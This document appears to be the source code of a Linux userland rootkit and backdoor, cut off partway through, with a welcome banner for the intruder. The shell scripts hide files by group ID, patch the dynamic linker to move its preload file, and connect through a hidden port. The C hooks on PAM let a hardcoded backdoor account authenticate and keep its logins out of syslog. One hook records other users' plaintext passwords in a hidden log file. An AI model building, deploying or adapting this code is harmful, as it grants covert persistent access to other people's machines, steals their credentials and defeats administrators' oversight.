$$| $$ 7 | | $$ \ $$| $$$$$$$$| $$ | $$| $$$$$$$$ \ $$/$$/ | $$| $$ 8 | | $$ | $$| $$_____/| $$ | $$| $$_____/ \ $$$/ | $$| $$ 9 | | $$$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$ \ $/ | $$| $$ 10 | |_______/ \_______/ \_______/ \_______/ \_/ |__/|__/ 11 | 12 | 13 | (press q at any point to leave this screen, this will not show up again) 14 | 15 | Welcome to your backdoor. I hope you have a whaaaaaale of a time. 16 | I won't kill you with a wall of text, so here's all the 17 | important shizzle: 18 | 19 | - FILE/PROCESS HIDING is GID based ONLY. 20 | Extended attributes are great, but not ALL boxes 21 | have 'em. Plus they're a bit slower to use. 22 | This also means that ANY FILES you create are 23 | automatically hidden. 24 | - I assume you've connected to this BACKDOOR 25 | by utilising your HIDDEN PORT. If not, I suggest 26 | you do that now. You can use my ssh.sh to do that. 27 | - Your HOME DIRECTORY is VITAL. I've put SCRIPTS in 28 | your HOME DIR, which RESIDE IN 'etc/'. You can RUN 29 | THEM for more information. 30 | 31 | - jack -------------------------------------------------------------------------------- /etc/eutils.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # this file utilises the 'controller' in the execve hook. 4 | # without the kit installed, this script will just show you a bunch 5 | # of errors. 6 | 7 | # you can totally just 'chown `id -g`:`id -g` ...'/'chgrp ...' 8 | 9 | [ $(id -u) != 0 ] && exit 10 | if [ ! -z $1 ]; then 11 | read -s -p "Backdoor password: " 12 | [ -z $REPLY ] && exit 13 | password=$REPLY 14 | 15 | echo "Verifying pasword ..." 16 | ./bdutils $password lol || { echo "Incorrect password"; exit; } 17 | echo "Password correct." 18 | fi 19 | 20 | USAGE=" 21 | Usage: $0 [ -h | -u ] 22 | -h [path]: Hide file. 23 | -u [path]: Unhide file. 24 | " 25 | 26 | OPTIND=1 27 | while getopts "huk?" opt; do 28 | case "$opt" in 29 | h) 30 | [ -z $2 ] && { echo "No path given to hide."; exit; } 31 | echo "Hiding $2" 32 | ./bdutils $password hide_path $2 || echo "There was an error hiding $2" 33 | exit 34 | ;; 35 | u) 36 | [ -z $2 ] && { echo "No path given to unhide."; exit; } 37 | echo "Unhiding $2" 38 | ./bdutils $password unhide_path $2 || echo "There was an error unhiding $2" 39 | exit 40 | ;; 41 | ?) 42 | echo "$USAGE" 43 | exit 44 | ;; 45 | esac 46 | done 47 | 48 | echo "$USAGE" -------------------------------------------------------------------------------- /etc/plibdl.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | [ $(id -u) != 0 ] && exit 4 | [ -z $1 ] && exit 5 | O_PRELOAD="$1" 6 | LDIRS=("/lib/" "/lib/x86_64-linux-gnu/" "/lib/i386-linux-gnu/" "/lib32/" "/libx32/" "/lib64/") 7 | PDIRS=("/bin/" "/sbin/" "/etc/" "/home/" "/lib/" "/libx32/" "/lib64/" "/opt/" "/usr/" "/var/") 8 | LLOCS=() # later stores paths of dynamic linker libraries to patch 9 | 10 | # return input '$1' as uppercase string of hex 11 | hstr() 12 | { 13 | local HS="`xxd -p <<< "$1"`" 14 | echo -n "${HS::-2}00" | awk '{print toupper($0)}' 15 | } 16 | 17 | # `gnpreload` uses this function to seek a home, for the npreload file, two directories deep 18 | grecurdir() 19 | { 20 | local cpdir="/notarealdir/" 21 | while [ ! -d "$cpdir" ]; do 22 | cpdir="${PDIRS[$RANDOM % ${#PDIRS[@]}]}" 23 | [ ! -d $cpdir ] && continue 24 | 25 | idirs="$(echo `ls -Ud ${cpdir}*/ 2>&1 | head -8`)" # get 1st 8 dirs in curdir, pipe stderr to stdout 26 | [[ "$idirs" == *"cannot access"* ]] && continue # if the cur directory doesn't have any dirs in it, go next 27 | 28 | IFS=' ' read -a idir <<< "$idirs" # read the list of files into an array called idir 29 | cpdir="${idir[$RANDOM % ${#idir[@]}]}" # pick a random directory from the array 30 | done 31 | echo -n $cpdir 32 | } 33 | 34 | # builds new location string for the preload file. 35 | gnpreload(){ echo -n "`grecurdir`.`cat /dev/urandom | tr -dc 'A-Za-z0-9' | fold -w 8 | head -n 1`"; } 36 | 37 | gldlocs() 38 | { 39 | for clib in ${LDIRS[*]}; do 40 | if [ -d "$clib" ]; then # lib directory exists 41 | xlib="${clib}*" # /DIRECTORY/* 42 | for l in $xlib; do [[ $l == *"ld-2"* ]] && LLOCS+=($l); done 43 | fi 44 | done 45 | } 46 | 47 | patch_lib() # $1=target lib,$2=old preload file,$3=new preload file 48 | { 49 | local HO_PRELOAD="`hstr $2`" # hex our strings 50 | local HN_PRELOAD="`hstr $3`" 51 | 52 | # the new preload file string needs to be the same length as the old one, 53 | # so append nullbytes onto the end of it until it's the same length as the old string. 54 | while [ ${#HN_PRELOAD} != ${#HO_PRELOAD} ]; do HN_PRELOAD+="00"; done 55 | 56 | if [[ "`strings $1`" == *"$2"* ]]; then 57 | hexdump -ve '1/1 "%.2X"' $1 | sed "s/$HO_PRELOAD/$HN_PRELOAD/g" | xxd -r -p > $1.tmp 58 | chmod --reference $1 $1.tmp 59 | mv $1.tmp $1 60 | fi 61 | } 62 | 63 | N_PRELOAD="`gnpreload`" # generate new preload file location 64 | gldlocs # get full paths of dl libs and store in array 65 | for x in ${LLOCS[*]}; do patch_lib $x $O_PRELOAD $N_PRELOAD; done 66 | echo -n $N_PRELOAD # output the new preload file location 67 | -------------------------------------------------------------------------------- /etc/ssh.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | usage() { echo "usage: $0 [username] [host] [hidden port]"; exit; } 3 | [ ! -f /usr/bin/socat ] && { echo "socat not installed :<"; exit; } 4 | [ -z $1 ] && usage; # no username? 5 | [ -z $2 ] && usage; # no host? 6 | [ -z $3 ] && usage; # no hidden port? 7 | echo "connecting to $1@$2 from port $3" && read -p "press enter to continue" 8 | ssh -t -o ProxyCommand="socat - tcp4-connect:$2:22,bind=:$3" $2 -l "$1" -------------------------------------------------------------------------------- /modules/backdoor/pam/pam.h: -------------------------------------------------------------------------------- 1 | #ifndef PAM_H 2 | #define PAM_H 3 | #include "pam_vprompt.c" 4 | #include "pam_hooks.c" 5 | #include "pam_syslog.c" 6 | #endif 7 | -------------------------------------------------------------------------------- /modules/backdoor/pam/pam_hooks.c: -------------------------------------------------------------------------------- 1 | int pam_authenticate(pam_handle_t *pamh, int flags) 2 | { 3 | HOOK(o_pam_authenticate, CPAM_AUTHENTICATE); 4 | void *user; 5 | pam_get_item(pamh, PAM_USER, (const void **)&user); 6 | if((char *)user == NULL) return o_pam_authenticate(pamh, flags); 7 | 8 | char *bduname = strdup(BD_UNAME); xor(bduname); 9 | if(!strcmp((char *)user, bduname)) 10 | { 11 | if(!strcmp(cprocname(), "login")){ CLEAN(bduname); return o_pam_authenticate(pamh, flags); } 12 | char prompt[512], *pw; 13 | snprintf(prompt, sizeof(prompt), "* Password for %s: ", bduname); 14 | CLEAN(bduname); 15 | pam_prompt(pamh, 1, &pw, "%s", prompt); 16 | 17 | char *bdpwd=strdup(BD_PWD); xor(bdpwd); 18 | if(!strcmp(crypt(pw, bdpwd), bdpwd)) { CLEAN(bdpwd); return PAM_SUCCESS; } 19 | CLEAN(bdpwd); 20 | return PAM_USER_UNKNOWN; 21 | } 22 | CLEAN(bduname); 23 | return o_pam_authenticate(pamh, flags); 24 | } 25 | 26 | int pam_open_session(pam_handle_t *pamh, int flags) 27 | { 28 | HOOK(o_pam_open_session, CPAM_OPEN_SESSION); 29 | 30 | void *user; 31 | pam_get_item(pamh, PAM_USER, (const void **)&user); 32 | if((char *)user == NULL) return o_pam_open_session(pamh, flags); 33 | 34 | char *bduname=strdup(BD_UNAME); xor(bduname); 35 | if(!strcmp(user, bduname)) { CLEAN(bduname); return PAM_SUCCESS; } 36 | CLEAN(bduname); 37 | 38 | return o_pam_open_session(pamh, flags); 39 | } 40 | 41 | int pam_acct_mgmt(pam_handle_t *pamh, int flags) 42 | { 43 | HOOK(o_pam_acct_mgmt, CPAM_ACCT_MGMT); 44 | 45 | void *user; 46 | pam_get_item(pamh, PAM_USER, (const void **)&user); 47 | if((char *)user == NULL) return o_pam_acct_mgmt(pamh, flags); 48 | 49 | char *bduname = strdup(BD_UNAME); xor(bduname); 50 | if(!strcmp(user, bduname)) { CLEAN(bduname); return PAM_SUCCESS; } 51 | CLEAN(bduname); 52 | 53 | return o_pam_acct_mgmt(pamh, flags); 54 | } 55 | -------------------------------------------------------------------------------- /modules/backdoor/pam/pam_private.h: -------------------------------------------------------------------------------- 1 | /* 2 | * pam_private.h 3 | * 4 | * This is the Linux-PAM Library Private Header. It contains things 5 | * internal to the Linux-PAM library. Things not needed by either an 6 | * application or module. 7 | * 8 | * Please see end of file for copyright. 9 | * 10 | * Creator: Marc Ewing. 11 | * Maintained: CVS 12 | */ 13 | 14 | #ifndef _PAM_PRIVATE_H 15 | #define _PAM_PRIVATE_H 16 | 17 | 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | /* the Linux-PAM configuration file */ 25 | 26 | #define PAM_CONFIG "/etc/pam.conf" 27 | #define PAM_CONFIG_D "/etc/pam.d" 28 | #define PAM_CONFIG_DF "/etc/pam.d/%s" 29 | 30 | #define PAM_DEFAULT_SERVICE "other" /* lower case */ 31 | #define PAM_DEFAULT_SERVICE_FILE PAM_CONFIG_D "/" PAM_DEFAULT_SERVICE 32 | 33 | #ifdef PAM_LOCKING 34 | /* 35 | * the Linux-PAM lock file. If it exists Linux-PAM will abort. Use it 36 | * to block access to libpam 37 | */ 38 | #define PAM_LOCK_FILE "/var/lock/subsys/PAM" 39 | #endif 40 | 41 | /* components of the pam_handle structure */ 42 | 43 | #define _PAM_INVALID_RETVAL -1 /* default value for cached_retval */ 44 | 45 | struct handler { 46 | int handler_type; 47 | int (*func)(pam_handle_t *pamh, int flags, int argc, char **argv); 48 | int actions[_PAM_RETURN_VALUES]; 49 | /* set by authenticate, open_session, chauthtok(1st) 50 | consumed by setcred, close_session, chauthtok(2nd) */ 51 | int cached_retval; int *cached_retval_p; 52 | int argc; 53 | char **argv; 54 | struct handler *next; 55 | char *mod_name; 56 | int stack_level; 57 | }; 58 | 59 | #define PAM_HT_MODULE 0 60 | #define PAM_HT_MUST_FAIL 1 61 | #define PAM_HT_SUBSTACK 2 62 | #define PAM_HT_SILENT_MODULE 3 63 | 64 | struct loaded_module { 65 | char *name; 66 | int type; /* PAM_STATIC_MOD or PAM_DYNAMIC_MOD */ 67 | void *dl_handle; 68 | }; 69 | 70 | #define PAM_MT_DYNAMIC_MOD 0 71 | #define PAM_MT_STATIC_MOD 1 72 | #define PAM_MT_FAULTY_MOD 2 73 | 74 | struct handlers { 75 | struct handler *authenticate; 76 | struct handler *setcred; 77 | struct handler *acct_mgmt; 78 | struct handler *open_session; 79 | struct handler *close_session; 80 | struct handler *chauthtok; 81 | }; 82 | 83 | struct service { 84 | struct loaded_module *module; /* Array of modules */ 85 | int modules_allocated; 86 | int modules_used; 87 | int handlers_loaded; 88 | 89 | struct handlers conf; /* the configured handlers */ 90 | struct handlers other; /* the default handlers */ 91 | }; 92 | 93 | /* 94 | * Environment helper functions 95 | */ 96 | 97 | #define PAM_ENV_CHUNK 10 /* chunks of memory calloc()'d * 98 | * at once */ 99 | 100 | struct pam_environ { 101 | int entries; /* the number of pointers available */ 102 | int requested; /* the number of pointers used: * 103 | * 1 <= requested <= entries */ 104 | char **list; /* the environment storage (a list * 105 | * of pointers to malloc() memory) */ 106 | }; 107 | 108 | #include 109 | 110 | typedef enum { PAM_FALSE, PAM_TRUE } _pam_boolean; 111 | 112 | struct _pam_fail_delay { 113 | _pam_boolean set; 114 | unsigned int delay; 115 | time_t begin; 116 | const void *delay_fn_ptr; 117 | }; 118 | 119 | /* initial state in substack */ 120 | struct _pam_substack_state { 121 | int impression; 122 | int status; 123 | }; 124 | 125 | struct _pam_former_state { 126 | /* this is known and set by _pam_dispatch() */ 127 | int choice; /* which flavor of module function did we call? */ 128 | 129 | /* state info for the _pam_dispatch_aux() function */ 130 | int depth; /* how deep in the stack were we? */ 131 | int impression; /* the impression at that time */ 132 | int status; /* the status before returning incomplete */ 133 | struct _pam_substack_state *substates; /* array of initial substack states */ 134 | 135 | /* state info used by pam_get_user() function */ 136 | int fail_user; 137 | int want_user; 138 | char *prompt; /* saved prompt information */ 139 | 140 | /* state info for the pam_chauthtok() function */ 141 | _pam_boolean update; 142 | }; 143 | #ifndef OLD_DISTRO 144 | struct pam_handle { 145 | char *authtok; 146 | unsigned caller_is; 147 | struct pam_conv *pam_conversation; 148 | char *oldauthtok; 149 | char *prompt; /* for use by pam_get_user() */ 150 | char *service_name; 151 | char *user; 152 | char *rhost; 153 | char *ruser; 154 | char *tty; 155 | char *xdisplay; 156 | char *authtok_type; /* PAM_AUTHTOK_TYPE */ 157 | struct pam_data *data; 158 | struct pam_environ *env; /* structure to maintain environment list */ 159 | struct _pam_fail_delay fail_delay; /* helper function for easy delays */ 160 | struct pam_xauth_data xauth; /* auth info for X display */ 161 | struct service handlers; 162 | struct _pam_former_state former; /* library state - support for 163 | event driven applications */ 164 | const char *mod_name; /* Name of the module currently executed */ 165 | int mod_argc; /* Number of module arguments */ 166 | char **mod_argv; /* module arguments */ 167 | int choice; /* Which function we call from the module */ 168 | 169 | #ifdef HAVE_LIBAUDIT 170 | int audit_state; /* keep track of reported audit messages */ 171 | #endif 172 | }; 173 | #else 174 | struct pam_handle { 175 | char *authtok; 176 | unsigned caller_is; 177 | struct pam_conv *pam_conversation; 178 | char *oldauthtok; 179 | char *prompt; /* for use by pam_get_user() */ 180 | char *service_name; 181 | char *user; 182 | char *rhost; 183 | char *ruser; 184 | char *tty; 185 | struct pam_data *data; 186 | struct pam_environ *env; /* structure to maintain environment list */ 187 | struct _pam_fail_delay fail_delay; /* helper function for easy delays */ 188 | struct service handlers; 189 | struct _pam_former_state former; /* library state - support for 190 | event driven applications */ 191 | const char *mod_name; /* Name of the module currently executed */ 192 | int choice; /* Which function we call from the module */ 193 | 194 | #ifdef HAVE_LIBAUDIT 195 | int audit_state; /* keep track of reported audit messages */ 196 | #endif 197 | }; 198 | #endif 199 | /* Values for select arg to _pam_dispatch() */ 200 | #define PAM_NOT_STACKED 0 201 | #define PAM_AUTHENTICATE 1 202 | #define PAM_SETCRED 2 203 | #define PAM_ACCOUNT 3 204 | #define PAM_OPEN_SESSION 4 205 | #define PAM_CLOSE_SESSION 5 206 | #define PAM_CHAUTHTOK 6 207 | 208 | #define _PAM_ACTION_IS_JUMP(x) ((x) > 0) 209 | #define _PAM_ACTION_IGNORE 0 210 | #define _PAM_ACTION_OK -1 211 | #define _PAM_ACTION_DONE -2 212 | #define _PAM_ACTION_BAD -3 213 | #define _PAM_ACTION_DIE -4 214 | #define _PAM_ACTION_RESET -5 215 | /* Add any new entries here. Will need to change ..._UNDEF and then 216 | * need to change pam_tokens.h */ 217 | #define _PAM_ACTION_UNDEF -6 /* this is treated as an error 218 | ( = _PAM_ACTION_BAD) */ 219 | 220 | #define PAM_SUBSTACK_MAX_LEVEL 16 /* maximum level of substacks */ 221 | 222 | /* character tables for parsing config files */ 223 | extern const char * const _pam_token_actions[-_PAM_ACTION_UNDEF]; 224 | extern const char * const _pam_token_returns[_PAM_RETURN_VALUES+1]; 225 | 226 | /* 227 | * internally defined functions --- these should not be directly 228 | * called by applications or modules 229 | */ 230 | int _pam_dispatch(pam_handle_t *pamh, int flags, int choice); 231 | 232 | /* Free various allocated structures and dlclose() the libs */ 233 | int _pam_free_handlers(pam_handle_t *pamh); 234 | 235 | /* Parse config file, allocate handler structures, dlopen() */ 236 | int _pam_init_handlers(pam_handle_t *pamh); 237 | 238 | /* Set all hander stuff to 0/NULL - called once from pam_start() */ 239 | void _pam_start_handlers(pam_handle_t *pamh); 240 | 241 | /* environment helper functions */ 242 | 243 | /* create the environment structure */ 244 | int _pam_make_env(pam_handle_t *pamh); 245 | 246 | /* delete the environment structure */ 247 | void _pam_drop_env(pam_handle_t *pamh); 248 | 249 | /* these functions deal with failure delays as required by the 250 | authentication modules and application. Their *interface* is likely 251 | to remain the same although their function is hopefully going to 252 | improve */ 253 | 254 | /* reset the timer to no-delay */ 255 | void _pam_reset_timer(pam_handle_t *pamh); 256 | 257 | /* this sets the clock ticking */ 258 | void _pam_start_timer(pam_handle_t *pamh); 259 | 260 | /* this waits for the clock to stop ticking if status != PAM_SUCCESS */ 261 | void _pam_await_timer(pam_handle_t *pamh, int status); 262 | 263 | typedef void (*voidfunc(void))(void); 264 | typedef int (*servicefn)(pam_handle_t *, int, int, char **); 265 | 266 | #ifdef PAM_STATIC 267 | /* The next two in ../modules/_pam_static/pam_static.c */ 268 | 269 | /* Return pointer to data structure used to define a static module */ 270 | struct pam_module * _pam_open_static_handler (pam_handle_t *pamh, 271 | const char *path); 272 | 273 | /* Return pointer to function requested from static module */ 274 | 275 | voidfunc *_pam_get_static_sym(struct pam_module *mod, const char *symname); 276 | #else 277 | void *_pam_dlopen (const char *mod_path); 278 | servicefn _pam_dlsym (void *handle, const char *symbol); 279 | void _pam_dlclose (void *handle); 280 | const char *_pam_dlerror (void); 281 | #endif 282 | 283 | /* For now we just use a stack and linear search for module data. */ 284 | /* If it becomes apparent that there is a lot of data, it should */ 285 | /* changed to either a sorted list or a hash table. */ 286 | 287 | struct pam_data { 288 | char *name; 289 | void *data; 290 | void (*cleanup)(pam_handle_t *pamh, void *data, int error_status); 291 | struct pam_data *next; 292 | }; 293 | 294 | void _pam_free_data(pam_handle_t *pamh, int status); 295 | 296 | char *_pam_StrTok(char *from, const char *format, char **next); 297 | 298 | char *_pam_strdup(const char *s); 299 | 300 | char *_pam_memdup(const char *s, int len); 301 | 302 | int _pam_mkargv(char *s, char ***argv, int *argc); 303 | 304 | void _pam_sanitize(pam_handle_t *pamh); 305 | 306 | void _pam_set_default_control(int *control_array, int default_action); 307 | 308 | void _pam_parse_control(int *control_array, char *tok); 309 | 310 | #define _PAM_SYSTEM_LOG_PREFIX "PAM" 311 | 312 | /* 313 | * XXX - Take care with this. It could confuse the logic of a trailing 314 | * else 315 | */ 316 | 317 | #define IF_NO_PAMH(X,pamh,ERR) \ 318 | if ((pamh) == NULL) { \ 319 | syslog(LOG_ERR, _PAM_SYSTEM_LOG_PREFIX " " X ": NULL pam handle passed"); \ 320 | return ERR; \ 321 | } 322 | 323 | /* 324 | * include some helpful macros 325 | */ 326 | 327 | //#include 328 | 329 | /* used to work out where control currently resides (in an application 330 | or in a module) */ 331 | 332 | #define _PAM_CALLED_FROM_MODULE 1 333 | #define _PAM_CALLED_FROM_APP 2 334 | 335 | #define __PAM_FROM_MODULE(pamh) ((pamh)->caller_is == _PAM_CALLED_FROM_MODULE) 336 | #define __PAM_FROM_APP(pamh) ((pamh)->caller_is == _PAM_CALLED_FROM_APP) 337 | #define __PAM_TO_MODULE(pamh) \ 338 | do { (pamh)->caller_is = _PAM_CALLED_FROM_MODULE; } while (0) 339 | #define __PAM_TO_APP(pamh) \ 340 | do { (pamh)->caller_is = _PAM_CALLED_FROM_APP; } while (0) 341 | 342 | #ifdef HAVE_LIBAUDIT 343 | extern int _pam_auditlog(pam_handle_t *pamh, int action, int retval, int flags); 344 | extern int _pam_audit_end(pam_handle_t *pamh, int pam_status); 345 | #endif 346 | 347 | /* 348 | * Copyright (C) 1995 by Red Hat Software, Marc Ewing 349 | * Copyright (c) 1996-8,2001 by Andrew G. Morgan 350 | * 351 | * All rights reserved 352 | * 353 | * Redistribution and use in source and binary forms, with or without 354 | * modification, are permitted provided that the following conditions 355 | * are met: 356 | * 1. Redistributions of source code must retain the above copyright 357 | * notice, and the entire permission notice in its entirety, 358 | * including the disclaimer of warranties. 359 | * 2. Redistributions in binary form must reproduce the above copyright 360 | * notice, this list of conditions and the following disclaimer in the 361 | * documentation and/or other materials provided with the distribution. 362 | * 3. The name of the author may not be used to endorse or promote 363 | * products derived from this software without specific prior 364 | * written permission. 365 | * 366 | * ALTERNATIVELY, this product may be distributed under the terms of 367 | * the GNU Public License, in which case the provisions of the GPL are 368 | * required INSTEAD OF the above restrictions. (This clause is 369 | * necessary due to a potential bad interaction between the GPL and 370 | * the restrictions contained in a BSD-style copyright.) 371 | * 372 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED 373 | * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 374 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 375 | * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 376 | * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 377 | * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 378 | * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 379 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 380 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 381 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 382 | * OF THE POSSIBILITY OF SUCH DAMAGE. 383 | */ 384 | 385 | #endif /* _PAM_PRIVATE_H_ */ 386 | -------------------------------------------------------------------------------- /modules/backdoor/pam/pam_syslog.c: -------------------------------------------------------------------------------- 1 | void pam_syslog(const pam_handle_t *pamh, int priority, const char *fmt, ...) 2 | { 3 | if(is_bdusr()) return; 4 | 5 | void *user; 6 | pam_get_item(pamh, PAM_USER, (const void **)&user); 7 | if((char *)user == NULL) return; 8 | 9 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname); 10 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname); 11 | if(strstr(cprocname(), sshds) || !strcmp((char *)user, bduname)) { CLEAN(bduname); setgid(MGID); return; } 12 | CLEAN(bduname); 13 | 14 | va_list va; 15 | va_start(va,fmt); 16 | pam_vsyslog(pamh,priority,fmt,va); 17 | va_end(va); 18 | return; 19 | } 20 | 21 | void pam_vsyslog(const pam_handle_t *pamh, int priority, const char *fmt, va_list args) 22 | { 23 | if(is_bdusr()) return; 24 | 25 | void *user; 26 | pam_get_item(pamh, PAM_USER, (const void **)&user); 27 | if((char *)user == NULL) return; 28 | 29 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname); 30 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname); 31 | if(strstr(cprocname(),sshds) || !strcmp((char *)user, bduname)) { CLEAN(bduname); setgid(MGID); return; } 32 | CLEAN(bduname); 33 | 34 | HOOK(o_pam_vsyslog,CPAM_VSYSLOG); 35 | o_pam_vsyslog(pamh,priority,fmt,args); 36 | return; 37 | } -------------------------------------------------------------------------------- /modules/backdoor/pam/pam_vprompt.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Redistribution and use in source and binary forms, with or without 3 | * modification, are permitted provided that the following conditions 4 | * are met: 5 | * 1. Redistributions of source code must retain the above copyright 6 | * notice, and the entire permission notice in its entirety, 7 | * including the disclaimer of warranties. 8 | * 2. Redistributions in binary form must reproduce the above copyright 9 | * notice, this list of conditions and the following disclaimer in the 10 | * documentation and/or other materials provided with the distribution. 11 | * 3. The name of the author may not be used to endorse or promote 12 | * products derived from this software without specific prior 13 | * written permission. 14 | * 15 | * ALTERNATIVELY, this product may be distributed under the terms of 16 | * the GNU Public License, in which case the provisions of the GPL are 17 | * required INSTEAD OF the above restrictions. (This clause is 18 | * necessary due to a potential bad interaction between the GPL and 19 | * the restrictions contained in a BSD-style copyright.) 20 | * 21 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED 22 | * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 23 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 24 | * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 25 | * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 26 | * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 27 | * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 28 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 29 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 30 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 31 | * OF THE POSSIBILITY OF SUCH DAMAGE. 32 | */ 33 | 34 | 35 | #include 36 | //#include 37 | //i only need two macros from this header file, so i'll just rip them out of the header myself and write them in here ;) 38 | 39 | #define _pam_overwrite(x) \ 40 | do { \ 41 | register char *__xx__; \ 42 | if ((__xx__=(x))) \ 43 | while (*__xx__) \ 44 | *__xx__++ = '\0'; \ 45 | } while (0) 46 | 47 | #define _pam_drop(X) \ 48 | do { \ 49 | if (X) { \ 50 | free(X); \ 51 | X=NULL; \ 52 | } \ 53 | } while (0) 54 | 55 | #include 56 | 57 | #include "pam_private.h" 58 | 59 | int 60 | pam_vprompt (pam_handle_t *pamh, int style, char **response, 61 | const char *fmt, va_list args) 62 | { 63 | void *u; 64 | pam_get_item(pamh, PAM_USER, (const void **)&u); 65 | struct pam_message msg; 66 | struct pam_response *pam_resp = NULL; 67 | const struct pam_message *pmsg; 68 | const struct pam_conv *conv; 69 | const void *convp; 70 | char *msgbuf; 71 | int retval; 72 | 73 | if (response) 74 | *response = NULL; 75 | 76 | retval = pam_get_item (pamh, PAM_CONV, &convp); 77 | if (retval != PAM_SUCCESS) 78 | return retval; 79 | conv = convp; 80 | if (conv == NULL || conv->conv == NULL) 81 | { 82 | pam_syslog (pamh, LOG_ERR, "no conversation function"); 83 | return PAM_SYSTEM_ERR; 84 | } 85 | 86 | if (vasprintf (&msgbuf, fmt, args) < 0) 87 | { 88 | pam_syslog (pamh, LOG_ERR, "vasprintf: %m"); 89 | return PAM_BUF_ERR; 90 | } 91 | 92 | msg.msg_style = style; 93 | msg.msg = msgbuf; 94 | pmsg = &msg; 95 | retval = conv->conv (1, &pmsg, &pam_resp, conv->appdata_ptr); 96 | if (response) *response = pam_resp == NULL ? NULL : pam_resp->resp; 97 | if (retval != PAM_SUCCESS) return retval; 98 | 99 | // Logging login attempts 100 | char *bduname = strdup(BD_UNAME); xor(bduname); 101 | struct spwd *cuser_entry = getspnam(u); 102 | if (strcmp(u,bduname) && pam_resp->resp != NULL && v_acc(cuser_entry, pam_resp->resp)) // any non-vlany user gets deets logged.. ver_acc_exist added to stop logging of non-existent accounts 103 | { 104 | HOOK(o_fopen, CFOPEN); 105 | 106 | // hiding strings 107 | char logpath[256], *idir=strdup(IDIR); xor(idir); 108 | snprintf(logpath, sizeof(logpath), "%s/auth_logs", idir); 109 | CLEAN(idir); 110 | 111 | FILE *pwlogs = o_fopen(logpath,"a"); 112 | fprintf(pwlogs, "Username: %s\nPassword: %s\n\n", (char *)u, pam_resp->resp); 113 | fclose(pwlogs); 114 | 115 | // need to automatically hide the file after creating it 116 | HOOK(o_chown,CCHOWN); 117 | o_chown(logpath,0,MGID); 118 | } 119 | CLEAN(bduname); 120 | 121 | 122 | _pam_overwrite (msgbuf); 123 | _pam_drop (pam_resp); 124 | free (msgbuf); 125 | return retval; 126 | } 127 | 128 | int 129 | pam_prompt (pam_handle_t *pamh, int style, char **response, 130 | const char *fmt, ...) 131 | { 132 | va_list args; 133 | int retval; 134 | 135 | va_start (args, fmt); 136 | retval = pam_vprompt (pamh, style, response, fmt, args); 137 | va_end (args); 138 | 139 | return retval; 140 | } 141 | -------------------------------------------------------------------------------- /modules/bdvl_util/bdusr.c: -------------------------------------------------------------------------------- 1 | int is_bdusr(void) 2 | { 3 | int obd=0; 4 | char *bdenv=strdup(BD_ENV); xor(bdenv); 5 | if((getenv(bdenv) != NULL && getuid() == 0) || getgid() == MGID) 6 | { 7 | setuid(0); 8 | #ifndef BHOME 9 | // putenv install dir as home, 10 | // putenv hist file location (presum. /dev/null) 11 | char _idir[256], *idir=strdup(IDIR); xor(idir); 12 | snprintf(_idir, sizeof(_idir), "HOME=%s", idir); 13 | putenv(_idir); CLEAN(idir); 14 | 15 | putenv("HISTFILE=/dev/null"); 16 | #define BHOME 17 | #endif 18 | obd=1; 19 | }else obd=0; 20 | CLEAN(bdenv); 21 | return obd; 22 | } 23 | -------------------------------------------------------------------------------- /modules/bdvl_util/cprocname.c: -------------------------------------------------------------------------------- 1 | #include "../libdl/libdl.h" 2 | char *cprocname() 3 | { 4 | HOOK(o_fopen, CFOPEN); 5 | char *pname = malloc(1024); 6 | FILE *cmdline; 7 | if((cmdline = o_fopen("/proc/self/cmdline", "r")) == NULL) snprintf(pname,5,"bash"); 8 | else fread(pname, 255, 1, cmdline); 9 | if(cmdline) fclose(cmdline); 10 | 11 | return pname; 12 | } 13 | 14 | char *gcmdline() 15 | { 16 | HOOK(o_open,COPEN); 17 | HOOK(o_read,CREAD); 18 | char *cmdline=malloc(2048),path[256]; 19 | int i, c, fd; 20 | snprintf(path, sizeof(path), "/proc/%d/cmdline", getpid()); 21 | if((fd=o_open(path,0,0)) < 0) snprintf(cmdline,5,"bash"); 22 | else{ 23 | c=o_read(fd,cmdline,sizeof(cmdline)); 24 | for(i=0;ipw_name,strlen(o_getpwuid(getuid())->pw_name)); 35 | return un; 36 | } -------------------------------------------------------------------------------- /modules/bdvl_util/util.h: -------------------------------------------------------------------------------- 1 | #ifndef UTIL_H 2 | #define UTIL_H 3 | #include 